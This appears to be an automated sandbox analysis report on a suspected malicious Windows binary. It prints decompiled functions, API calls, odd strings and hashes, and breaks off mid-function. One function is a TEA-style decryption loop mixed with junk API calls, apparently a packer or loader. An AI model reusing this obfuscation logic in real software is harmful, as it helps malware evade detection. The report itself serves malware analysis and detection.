0x004012c0
0x004012c0
0x004012c7
0x004012cc
0x004012cf
0x004012cf
0x00000000
0x004012d7
0x004012da

APIs

SetFileTime.KERNEL32(00000000,00000000,00000000,00000000), ref: 00401248
DnsHostnameToComputerNameA.KERNEL32 ref: 0040125E
GetLongPathNameA.KERNEL32 ref: 00401271
GetFileType.KERNEL32(00000000), ref: 00401278
ReadConsoleW.KERNEL32(00000000,?,00000000,?,00000000), ref: 0040128C
GetConsoleAliasesLengthW.KERNEL32(00000000), ref: 00401293
SetConsoleTitleA.KERNEL32(feditoneyuyirodefahecajaguxowuluravoyuzobibife), ref: 0040129E
GetModuleFileNameA.KERNEL32(00000000,?,00000000), ref: 004012AD
GetProfileSectionA.KERNEL32(yazusupuxifojemevaxatomoworokavorecojesoc,?,00000000), ref: 004012C0

Strings

jipeximeyecuxovanewuhimetagovigotehotiletuwunudifizozijepunagavucekayoceroh, xrefs: 0040126C
yazusupuxifojemevaxatomoworokavorecojesoc, xrefs: 004012BB
feditoneyuyirodefahecajaguxowuluravoyuzobibife, xrefs: 00401299
yujacom, xrefs: 00401259

Memory Dump Source

Source File: 00000000.00000002.249044190.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249040375.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249053095.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249057273.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249060153.0000000000418000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.249063977.0000000000431000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.249069989.0000000000439000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249074543.0000000000440000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_emPJndhuvA.jbxd

Similarity

API ID: ConsoleFileName$AliasesComputerHostnameLengthLongModulePathProfileReadSectionTimeTitleType
String ID: feditoneyuyirodefahecajaguxowuluravoyuzobibife$jipeximeyecuxovanewuhimetagovigotehotiletuwunudifizozijepunagavucekayoceroh$yazusupuxifojemevaxatomoworokavorecojesoc$yujacom
API String ID: 3522130835-2540995165
Opcode ID: 46a6e07ca986bbcbf9741794a55c01d18580ee17415a99f5eb6902457c669521
Instruction ID: 8f484e2de87a19e34ff733e3da971954225df57d1c7d14a5d004fc215fe49019
Opcode Fuzzy Hash: 46a6e07ca986bbcbf9741794a55c01d18580ee17415a99f5eb6902457c669521
Instruction Fuzzy Hash: 7C116076501528FFC711AB95EC48CEF7BACEF4D302B004066F605E2154CA385B85CBB9

Uniqueness

Uniqueness Score: -1.00%

Function 0040106F, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 127
sleepthreadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040106F(unsigned int* _a4) {
				signed int _v8;
				unsigned int _v12;
				char _v16;
				signed int _v20;
				char _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				signed int _v44;
				long _v48;
				long _v52;
				struct _INPUT_RECORD _v72;
				intOrPtr* _t47;
				intOrPtr _t49;
				intOrPtr _t50;
				intOrPtr _t53;
				intOrPtr _t54;
				intOrPtr _t55;
				long _t61;
				unsigned int* _t76;
				void* _t83;
				signed int _t91;
				signed int _t94;
				signed int _t95;

				_t47 = _a4;
				_v12 =  *_t47;
				_v20 =  *((intOrPtr*)(_t47 + 4));
				if( *0x43cc54 == 0xee) {
					Sleep(0);
					CreateThread(0, 0, 0, 0, 0, 0);
					GetStringTypeW(0, 0, 0, 0);
				}
				_t49 =  *0x418518; // 0xc22578af
				_v40 = _t49;
				_t50 =  *0x41851c; // 0xffb43b10
				_v36 = _t50;
				_v16 = 0;
				E00401065( &_v16);
				_t83 = _v16 + 0x21d;
				if( *0x43cc54 == 0xc8) {
					PrepareTape(0, 0, 0);
				}
				_t53 =  *0x418520; // 0x645689ad
				_v28 = _t53;
				_t54 =  *0x418524; // 0xe1c0376f
				_v32 = _t54;
				_v24 = 0x20;
				do {
					_v16 = 2;
					_v16 = _v16 + 3;
					_t94 = _v12 << 4;
					if( *0x43cc54 == 0xc) {
						ReadConsoleInputW(0,  &_v72, 0,  &_v48);
					}
					_t55 =  *0x43cc54;
					_t95 = _t94 + _v28;
					if(_t55 == 0xfa9) {
						 *0x43cc50 = 0xedeb2e40;
					}
					if(_t55 == 0x3eb) {
						 *0x43a01c = 0;
					}
					_v8 = _v12 >> 5;
					_t61 = _v8 + _v32 ^ _t95 ^ _t83 + _v12;
					 *0x43cc4c = 0x9150ce2e;
					_v8 = _t61;
					if( *0x43cc54 == 0x27) {
						InterlockedDecrement( &_v52);
						RaiseException(0, 0, 0, 0);
						_t61 = _v8;
					}
					_v20 = _v20 - _t61;
					if( *0x43cc54 == 0xc) {
						_t61 = GetLastError();
					}
					_t91 = _v20;
					_v8 = _t91 >> 5;
					E0040106C( &_v8, _v36);
					 *0x43a018 = 0;
					_v44 = (_t91 << 0x00000004) + _v40 ^ _t83 + _t91 ^ _v8;
					_v12 = _v12 - _v44;
					_t83 = _t83 + 0x61c88647;
					_t42 =  &_v24;
					 *_t42 = _v24 - 1;
				} while ( *_t42 != 0);
				_t76 = _a4;
				 *_t76 = _v12;
				_t76[1] = _t91;
				return _t76;
			}

0x00401075
0x0040108c
0x0040108f
0x00401092
0x00401095
0x004010a1
0x004010ab
0x004010ab
0x004010b1
0x004010b6
0x004010b9
0x004010be
0x004010c4
0x004010c7
0x004010cf
0x004010df
0x004010e4
0x004010e4
0x004010ea
0x004010ef
0x004010f2
0x004010f7
0x004010fa
0x00401101
0x00401101
0x00401108
0x0040110f
0x00401119
0x00401125
0x00401125
0x0040112b
0x00401130
0x00401138
0x0040113a
0x0040113a
0x00401149
0x0040114b
0x0040114b
0x0040115d
0x0040116a
0x00401173
0x0040117d
0x00401180
0x00401186
0x00401190
0x00401196
0x00401196
0x00401199
0x004011a3
0x004011a5
0x004011a5
0x004011b0
0x004011bb
0x004011c1
0x004011d6
0x004011dc
0x004011e2
0x004011e5
0x004011eb
0x004011eb
0x004011eb
0x004011f7
0x004011fb
0x00401200
0x00401205

APIs

Sleep.KERNEL32(00000000), ref: 00401095
CreateThread.KERNEL32 ref: 004010A1
GetStringTypeW.KERNEL32(00000000,00000000,00000000,00000000), ref: 004010AB
PrepareTape.KERNEL32 ref: 004010E4
ReadConsoleInputW.KERNEL32(00000000,?,00000000,?), ref: 00401125
InterlockedDecrement.KERNEL32(?), ref: 00401186
RaiseException.KERNEL32(00000000,00000000,00000000,00000000), ref: 00401190
GetLastError.KERNEL32 ref: 004011A5

Strings

, xrefs: 004010FA

Memory Dump Source

Source File: 00000000.00000002.249044190.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249040375.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249053095.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249057273.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249060153.0000000000418000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.249063977.0000000000431000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.249069989.0000000000439000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249074543.0000000000440000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_emPJndhuvA.jbxd

Similarity

API ID: ConsoleCreateDecrementErrorExceptionInputInterlockedLastPrepareRaiseReadSleepStringTapeThreadType
String ID:
API String ID: 3471058424-3916222277
Opcode ID: 0009a2deef68fdf20197904c8fbf7bf4e65ce71737c14b38ce939765972e4e3d
Instruction ID: debd1290b479466080955293ac2a49e77d18f58efd93d908e369c336d9233bd4
Opcode Fuzzy Hash: 0009a2deef68fdf20197904c8fbf7bf4e65ce71737c14b38ce939765972e4e3d
Instruction Fuzzy Hash: 8551E475D00248EFCB15CFA9D9889EEBBF4FB89305F00806AE505B7260D7389A45CF69

Uniqueness

Uniqueness Score: -1.00%

Function 004092BD, Relevance: 9.0, APIs: 6, Instructions: 49
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 90%

			E004092BD(void* __ebx, intOrPtr __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t48;
				intOrPtr _t57;
				void* _t58;
				void* _t61;

				_t61 = __eflags;
				_t53 = __edx;
				_push(0x2c);
				_push(0x4161e0);
				E00404944(__ebx, __edi, __esi);
				_t48 = __ecx;
				_t55 =  *((intOrPtr*)(_t58 + 0xc));
				_t57 =  *((intOrPtr*)(_t58 + 8));
				 *((intOrPtr*)(_t58 - 0x1c)) = __ecx;
				 *(_t58 - 0x34) =  *(_t58 - 0x34) & 0x00000000;
				 *((intOrPtr*)(_t58 - 0x24)) =  *((intOrPtr*)( *((intOrPtr*)(_t58 + 0xc)) - 4));
				 *((intOrPtr*)(_t58 - 0x28)) = E004033D6(_t58 - 0x3c,  *((intOrPtr*)(_t57 + 0x18)));
				 *((intOrPtr*)(_t58 - 0x2c)) =  *((intOrPtr*)(E004076EA(__ecx, __edx, _t55, _t61) + 0x88));
				 *((intOrPtr*)(_t58 - 0x30)) =  *((intOrPtr*)(E004076EA(_t48, __edx, _t55, _t61) + 0x8c));
				 *((intOrPtr*)(E004076EA(_t48, _t53, _t55, _t61) + 0x88)) = _t57;
				 *((intOrPtr*)(E004076EA(_t48, _t53, _t55, _t61) + 0x8c)) =  *((intOrPtr*)(_t58 + 0x10));
				 *(_t58 - 4) =  *(_t58 - 4) & 0x00000000;
				 *((intOrPtr*)(_t58 + 0x10)) = 1;
				 *(_t58 - 4) = 1;
				 *((intOrPtr*)(_t58 - 0x1c)) = E0040347B(_t55,  *((intOrPtr*)(_t58 + 0x14)), _t48,  *((intOrPtr*)(_t58 + 0x18)),  *((intOrPtr*)(_t58 + 0x1c)));
				 *(_t58 - 4) =  *(_t58 - 4) & 0x00000000;
				 *(_t58 - 4) = 0xfffffffe;
				 *((intOrPtr*)(_t58 + 0x10)) = 0;
				E004093E3(_t48, _t53, _t55, _t57, _t61);
				return E00404989( *((intOrPtr*)(_t58 - 0x1c)));
			}

0x004092bd
0x004092bd
0x004092bd
0x004092bf
0x004092c4
0x004092c9
0x004092cb
0x004092ce
0x004092d1
0x004092d4
0x004092db
0x004092ec
0x004092fa
0x00409308
0x00409310
0x0040931e
0x00409324
0x0040932b
0x0040932e
0x00409344
0x00409347
0x004093bc
0x004093c3
0x004093ca
0x004093d7

APIs

__CreateFrameInfo.LIBCMT ref: 004092E5

Part of subcall function 004033D6: __getptd.LIBCMT ref: 004033E4
Part of subcall function 004033D6: __getptd.LIBCMT ref: 004033F2

__getptd.LIBCMT ref: 004092EF

Part of subcall function 004076EA: __getptd_noexit.LIBCMT ref: 004076ED
Part of subcall function 004076EA: __amsg_exit.LIBCMT ref: 004076FA

__getptd.LIBCMT ref: 004092FD
__getptd.LIBCMT ref: 0040930B
__getptd.LIBCMT ref: 00409316
_CallCatchBlock2.LIBCMT ref: 0040933C

Part of subcall function 0040347B: __CallSettingFrame@12.LIBCMT ref: 004034C7

Part of subcall function 004093E3: __getptd.LIBCMT ref: 004093F2
Part of subcall function 004093E3: __getptd.LIBCMT ref: 00409400

Memory Dump Source

Source File: 00000000.00000002.249044190.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249040375.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249053095.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249057273.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249060153.0000000000418000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.249063977.0000000000431000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.249069989.0000000000439000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249074543.0000000000440000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_emPJndhuvA.jbxd

Similarity

API ID: __getptd$Call$Block2CatchCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 1602911419-0
Opcode ID: db946c47dd9f31fed4f67662f598bb21319e3c8bfa747e202aa7549c4b075bb7
Instruction ID: 21cc491c0741d106a6505dda9b1608d1f734f1cf0caf481b283bfbe2e78fce39
Opcode Fuzzy Hash: db946c47dd9f31fed4f67662f598bb21319e3c8bfa747e202aa7549c4b075bb7
Instruction Fuzzy Hash: 6A11F6B1D042099FDB00EFA5C446AAD7BB0FF08324F10846AF854A7292DB799A11DF69

Uniqueness

Uniqueness Score: -1.00%

Function 0040966A, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 28%

			E0040966A(void* __ebx, void* __ecx, void* __edx, intOrPtr* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				void* __ebp;
				void* _t20;
				void* _t22;
				void* _t23;
				void* _t25;
				intOrPtr* _t26;
				void* _t27;
				void* _t28;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t23 = __ecx;
				_t22 = __ebx;
				_t30 = _a20;
				if(_a20 != 0) {
					_push(_a20);
					_push(__ebx);
					_push(__esi);
					_push(_a4);
					E004095D8(__ebx, __edi, __esi, _t30);
					_t28 = _t28 + 0x10;
				}
				_t31 = _a28;
				_push(_a4);
				if(_a28 != 0) {
					_push(_a28);
				} else {
					_push(_t27);
				}
				E0040312E(_t23);
				_push( *_t26);
				_push(_a16);
				_push(_a12);
				_push(_t27);
				E00409055(_t22, _t25, _t26, _t27, _t31);
				_push(0x100);
				_push(_a24);
				_push(_a16);
				 *((intOrPtr*)(_t27 + 8)) =  *((intOrPtr*)(_t26 + 4)) + 1;
				_push(_a8);
				_push(_t27);
				_push(_a4);
				_t20 = E004092BD(_t22,  *((intOrPtr*)(_t22 + 0xc)), _t25, _t26, _t27, _t31);
				if(_t20 != 0) {
					E004030E7(_t20, _t27);
					return _t20;
				}
				return _t20;
			}

0x0040966a
0x0040966a
0x0040966a
0x0040966a
0x0040966a
0x0040966f
0x00409673
0x00409675
0x00409678
0x00409679
0x0040967a
0x0040967d
0x00409682
0x00409682
0x00409685
0x00409689
0x0040968c
0x00409691
0x0040968e
0x0040968e
0x0040968e
0x00409694
0x00409699
0x0040969b
0x0040969e
0x004096a1
0x004096a2
0x004096aa
0x004096af
0x004096b3
0x004096b6
0x004096b9
0x004096bf
0x004096c0
0x004096c3
0x004096cd
0x004096d1
0x00000000
0x004096d1
0x004096d7

APIs

___BuildCatchObject.LIBCMT ref: 0040967D

Part of subcall function 004095D8: ___BuildCatchObjectHelper.LIBCMT ref: 0040960E

_UnwindNestedFrames.LIBCMT ref: 00409694
___FrameUnwindToState.LIBCMT ref: 004096A2

Strings

csm, xrefs: 00409679, 0040968E, 004096A1, 004096BF, 004096CF
DbA, xrefs: 0040966C

Memory Dump Source

Source File: 00000000.00000002.249044190.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249040375.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249053095.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249057273.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249060153.0000000000418000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.249063977.0000000000431000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.249069989.0000000000439000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249074543.0000000000440000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_emPJndhuvA.jbxd

Similarity

API ID: BuildCatchObjectUnwind$FrameFramesHelperNestedState
String ID: DbA$csm
API String ID: 2163707966-1441176476
Opcode ID: dec672e7eec33f8bf803c49aefa3dd666eabbed4f1782a9f674b41e0ef7d66e6
Instruction ID: eefc8e9ac9e8bee27665234a9d67af2da176593a314f43fe11daa345cf3a00e5
Opcode Fuzzy Hash: dec672e7eec33f8bf803c49aefa3dd666eabbed4f1782a9f674b41e0ef7d66e6
Instruction Fuzzy Hash: 06012871001109BBDF126E52CC45EEB3E6AEF08354F04442ABD1C241A2DB3A9971DBA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040900C, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E0040900C(void* __edx, void* __esi, intOrPtr* _a4) {
				signed int _v8;
				void* __ebp;
				intOrPtr* _t15;
				intOrPtr* _t18;
				void* _t22;
				void* _t24;

				_t23 = __edx;
				_t30 =  *((intOrPtr*)( *_a4)) - 0xe0434f4d;
				if( *((intOrPtr*)( *_a4)) == 0xe0434f4d) {
					__eflags =  *((intOrPtr*)(E004076EA(_t22, __edx, _t24, __eflags) + 0x90));
					if(__eflags > 0) {
						_t15 = E004076EA(_t22, __edx, _t24, __eflags) + 0x90;
						 *_t15 =  *_t15 - 1;
						__eflags =  *_t15;
					}
					goto L9;
				} else {
					__eflags = __eax - 0xe06d7363;
					if(__eflags != 0) {
						L9:
						__eflags = 0;
						return 0;
					} else {
						 *(E004076EA(__ebx, __edx, __edi, __eflags) + 0x90) =  *(__eax + 0x90) & 0x00000000;
						_push(8);
						_push(0x415ec0);
						E00404944(_t22, _t24, __esi);
						_t18 =  *((intOrPtr*)(E004076EA(_t22, __edx, _t24, _t30) + 0x78));
						if(_t18 != 0) {
							_v8 = _v8 & 0x00000000;
							 *_t18();
							_v8 = 0xfffffffe;
						}
						return E00404989(E0040730C(_t22, _t23, _t24));
					}
				}
			}

0x0040900c
0x00409018
0x0040901d
0x0040903c
0x00409043
0x0040904a
0x0040904f
0x0040904f
0x0040904f
0x00000000
0x0040901f
0x0040901f
0x00409024
0x00409051
0x00409051
0x00409054
0x00409026
0x0040902b
0x00402869
0x0040286b
0x00402870
0x0040287a
0x0040287f
0x00402881
0x00402885
0x00402890
0x00402890
0x004028a1
0x004028a1
0x00409024

APIs

__getptd.LIBCMT ref: 00409026

Part of subcall function 004076EA: __getptd_noexit.LIBCMT ref: 004076ED
Part of subcall function 004076EA: __amsg_exit.LIBCMT ref: 004076FA

__getptd.LIBCMT ref: 00409037
__getptd.LIBCMT ref: 00409045

Strings

csm, xrefs: 0040901F
MOC, xrefs: 00409018

Memory Dump Source

Source File: 00000000.00000002.249044190.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249040375.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249053095.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249057273.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249060153.0000000000418000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.249063977.0000000000431000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.249069989.0000000000439000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249074543.0000000000440000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_emPJndhuvA.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: MOC$csm
API String ID: 803148776-1389381023
Opcode ID: 4739b74ba1b15bd6df6e61083d2f3729919d2fba5886e05f824544f2c73b4ed3
Instruction ID: 1bc437b37aea41a5c49ba9935f1dca580b6eb263521a01c70b4d11607c4a19ab
Opcode Fuzzy Hash: 4739b74ba1b15bd6df6e61083d2f3729919d2fba5886e05f824544f2c73b4ed3
Instruction Fuzzy Hash: 18E048355041048FC750B7A9C0497293394EB45318F1549B7E40DD73D3D77DEC405557

Uniqueness

Uniqueness Score: -1.00%

Function 0040A8E1, Relevance: 7.5, APIs: 5, Instructions: 47
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 89%

			E0040A8E1(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t15;
				LONG* _t21;
				long _t23;
				void* _t31;
				LONG* _t33;
				void* _t34;
				void* _t35;

				_t35 = __eflags;
				_t29 = __edx;
				_t25 = __ebx;
				_push(0xc);
				_push(0x4162e0);
				E00404944(__ebx, __edi, __esi);
				_t31 = E004076EA(__ebx, __edx, __edi, _t35);
				_t15 =  *0x417cac; // 0xfffffffe
				if(( *(_t31 + 0x70) & _t15) == 0 ||  *((intOrPtr*)(_t31 + 0x6c)) == 0) {
					E00403E4D(_t25, 0xd);
					 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
					_t33 =  *(_t31 + 0x68);
					 *(_t34 - 0x1c) = _t33;
					__eflags = _t33 -  *0x417bb0; // 0x8c1608
					if(__eflags != 0) {
						__eflags = _t33;
						if(_t33 != 0) {
							_t23 = InterlockedDecrement(_t33);
							__eflags = _t23;
							if(_t23 == 0) {
								__eflags = _t33 - 0x417788;
								if(__eflags != 0) {
									_push(_t33);
									E00403B25(_t25, _t31, _t33, __eflags);
								}
							}
						}
						_t21 =  *0x417bb0; // 0x8c1608
						 *(_t31 + 0x68) = _t21;
						_t33 =  *0x417bb0; // 0x8c1608
						 *(_t34 - 0x1c) = _t33;
						InterlockedIncrement(_t33);
					}
					 *(_t34 - 4) = 0xfffffffe;
					E0040A97C();
				} else {
					_t33 =  *(_t31 + 0x68);
				}
				if(_t33 == 0) {
					E00404B8C(_t29, _t31, 0x20);
				}
				return E00404989(_t33);
			}

0x0040a8e1
0x0040a8e1
0x0040a8e1
0x0040a8e1
0x0040a8e3
0x0040a8e8
0x0040a8f2
0x0040a8f4
0x0040a8fc
0x0040a91d
0x0040a923
0x0040a927
0x0040a92a
0x0040a92d
0x0040a933
0x0040a935
0x0040a937
0x0040a93a
0x0040a940
0x0040a942
0x0040a944
0x0040a94a
0x0040a94c
0x0040a94d
0x0040a952
0x0040a94a
0x0040a942
0x0040a953
0x0040a958
0x0040a95b
0x0040a961
0x0040a965
0x0040a965
0x0040a96b
0x0040a972
0x0040a904
0x0040a904
0x0040a904
0x0040a909
0x0040a90d
0x0040a912
0x0040a91a

APIs

__getptd.LIBCMT ref: 0040A8ED

Part of subcall function 004076EA: __getptd_noexit.LIBCMT ref: 004076ED
Part of subcall function 004076EA: __amsg_exit.LIBCMT ref: 004076FA

__amsg_exit.LIBCMT ref: 0040A90D
__lock.LIBCMT ref: 0040A91D
InterlockedDecrement.KERNEL32(?), ref: 0040A93A
InterlockedIncrement.KERNEL32(008C1608), ref: 0040A965

Memory Dump Source

Source File: 00000000.00000002.249044190.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249040375.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249053095.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249057273.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249060153.0000000000418000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.249063977.0000000000431000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.249069989.0000000000439000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249074543.0000000000440000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_emPJndhuvA.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 7ddc07dea334cba689a3844cb038e4f4b8249e8ecb5ccd5758ba62f9e7065811
Instruction ID: 3f6746079e1bf357972c92b3c8fcc71b3ed0f8567c2b42dfa6a8e84de50ab754
Opcode Fuzzy Hash: 7ddc07dea334cba689a3844cb038e4f4b8249e8ecb5ccd5758ba62f9e7065811
Instruction Fuzzy Hash: 5901A5B1A047119BC711AB66D40679F7B70BB44765F02853BE800772D1C73C6A51CBDE

Uniqueness

Uniqueness Score: -1.00%

Function 00403B25, Relevance: 7.5, APIs: 5, Instructions: 44
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 41%

			E00403B25(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t10;
				intOrPtr _t13;
				intOrPtr _t23;
				void* _t25;

				_push(0xc);
				_push(0x415f88);
				_t8 = E00404944(__ebx, __edi, __esi);
				_t23 =  *((intOrPtr*)(_t25 + 8));
				if(_t23 == 0) {
					L9:
					return E00404989(_t8);
				}
				if( *0x43f198 != 3) {
					_push(_t23);
					L7:
					_t8 = HeapFree( *0x43923c, 0, ??);
					_t31 = _t8;
					if(_t8 == 0) {
						_t10 = E00403A74(_t31);
						 *_t10 = E00403A32(GetLastError());
					}
					goto L9;
				}
				E00403E4D(__ebx, 4);
				 *(_t25 - 4) =  *(_t25 - 4) & 0x00000000;
				_t13 = E00403E80(_t23);
				 *((intOrPtr*)(_t25 - 0x1c)) = _t13;
				if(_t13 != 0) {
					_push(_t23);
					_push(_t13);
					E00403EB0();
				}
				 *(_t25 - 4) = 0xfffffffe;
				_t8 = E00403B7B();
				if( *((intOrPtr*)(_t25 - 0x1c)) != 0) {
					goto L9;
				} else {
					_push( *((intOrPtr*)(_t25 + 8)));
					goto L7;
				}
			}

0x00403b25
0x00403b27
0x00403b2c
0x00403b31
0x00403b36
0x00403bad
0x00403bb2
0x00403bb2
0x00403b3f
0x00403b84
0x00403b85
0x00403b8d
0x00403b93
0x00403b95
0x00403b97
0x00403baa
0x00403bac
0x00000000
0x00403b95
0x00403b43
0x00403b49
0x00403b4e
0x00403b54
0x00403b59
0x00403b5b
0x00403b5c
0x00403b5d
0x00403b63
0x00403b64
0x00403b6b
0x00403b74
0x00000000
0x00403b76
0x00403b76
0x00000000
0x00403b76

APIs

__lock.LIBCMT ref: 00403B43

Part of subcall function 00403E4D: __mtinitlocknum.LIBCMT ref: 00403E63
Part of subcall function 00403E4D: __amsg_exit.LIBCMT ref: 00403E6F
Part of subcall function 00403E4D: EnterCriticalSection.KERNEL32(0040768D,0040768D,?,00403C34,00000004,00415FA8,0000000C,00409FAE,00000001,0040769C,00000000,00000000,00000000,?,0040769C,00000001), ref: 00403E77

___sbh_find_block.LIBCMT ref: 00403B4E
___sbh_free_block.LIBCMT ref: 00403B5D
HeapFree.KERNEL32(00000000,00000001,00415F88,0000000C,00403E2E,00000000,00415FC8,0000000C,00403E68,00000001,0040768D,?,00403C34,00000004,00415FA8,0000000C), ref: 00403B8D
GetLastError.KERNEL32(?,00403C34,00000004,00415FA8,0000000C,00409FAE,00000001,0040769C,00000000,00000000,00000000,?,0040769C,00000001,00000214), ref: 00403B9E

Memory Dump Source

Source File: 00000000.00000002.249044190.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249040375.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249053095.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249057273.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249060153.0000000000418000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.249063977.0000000000431000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.249069989.0000000000439000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249074543.0000000000440000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_emPJndhuvA.jbxd

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: 8445032708129a76fa30744afae0e0e62a22084205d72ac8f4b07a45df035fe3
Instruction ID: c3e51dc7a02869ddc7156b427bad306a1ebfaa892aa4ae60316ef6136fc88af0
Opcode Fuzzy Hash: 8445032708129a76fa30744afae0e0e62a22084205d72ac8f4b07a45df035fe3
Instruction Fuzzy Hash: 7E012171901605AADB206FB29C06B5F7E689F0076AF20453FF504761D2DA3C9B408A9D

Uniqueness

Uniqueness Score: -1.00%

Function 00405396, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405396() {
				intOrPtr _t5;
				intOrPtr _t6;
				intOrPtr _t10;
				void* _t12;
				intOrPtr _t15;
				intOrPtr* _t16;
				signed int _t19;
				signed int _t20;
				intOrPtr _t26;
				intOrPtr _t27;

				_t5 =  *0x43f180;
				_t26 = 0x14;
				if(_t5 != 0) {
					if(_t5 < _t26) {
						_t5 = _t26;
						goto L4;
					}
				} else {
					_t5 = 0x200;
					L4:
					 *0x43f180 = _t5;
				}
				_t6 = E00409F98(_t5, 4);
				 *0x43e16c = _t6;
				if(_t6 != 0) {
					L8:
					_t19 = 0;
					_t15 = 0x4173f0;
					while(1) {
						 *((intOrPtr*)(_t19 + _t6)) = _t15;
						_t15 = _t15 + 0x20;
						_t19 = _t19 + 4;
						if(_t15 >= 0x417670) {
							break;
						}
						_t6 =  *0x43e16c;
					}
					_t27 = 0xfffffffe;
					_t20 = 0;
					_t16 = 0x417400;
					do {
						_t10 =  *((intOrPtr*)(((_t20 & 0x0000001f) << 6) +  *((intOrPtr*)(0x43e060 + (_t20 >> 5) * 4))));
						if(_t10 == 0xffffffff || _t10 == _t27 || _t10 == 0) {
							 *_t16 = _t27;
						}
						_t16 = _t16 + 0x20;
						_t20 = _t20 + 1;
					} while (_t16 < 0x417460);
					return 0;
				} else {
					 *0x43f180 = _t26;
					_t6 = E00409F98(_t26, 4);
